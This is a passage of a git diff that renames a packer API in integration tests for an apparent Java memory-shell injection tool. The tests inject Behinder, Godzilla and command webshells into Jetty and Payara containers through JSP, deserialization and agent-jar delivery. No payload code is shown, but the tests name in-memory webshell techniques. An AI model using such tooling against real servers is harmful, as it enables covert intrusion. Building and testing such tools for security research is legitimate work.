b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.jetty; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -41,24 +41,24 @@ public class Jetty61ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize) // arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar), // arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar), // arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) @@ -74,7 +74,7 @@ public class Jetty61ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java index aef2029f..4fa7f8f8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java @@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.JettyShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,27 +42,27 @@ public class Jetty76ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -74,7 +74,7 @@ public class Jetty76ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java index 5c37e76b..940fce28 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java @@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.JettyShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,27 +42,27 @@ public class Jetty81ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -74,7 +74,7 @@ public class Jetty81ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java index 3ce8665b..e75e5d53 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java @@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.JettyShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -43,27 +43,27 @@ public class Jetty92ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -75,7 +75,7 @@ public class Jetty92ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java index a0e2a4df..8e2418b7 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java @@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.JettyShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,27 +42,27 @@ public class Jetty93ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -74,7 +74,7 @@ public class Jetty93ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java index 8b4252e0..935404a4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java @@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.JettyShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,27 +42,27 @@ public class Jetty94ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -75,7 +75,7 @@ public class Jetty94ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java index 04a10ae7..94fc1308 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java @@ -3,8 +3,7 @@ package com.reajason.javaweb.integration.payara; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.GlassFishShell; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,33 +41,33 @@ public class Payara5201ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, 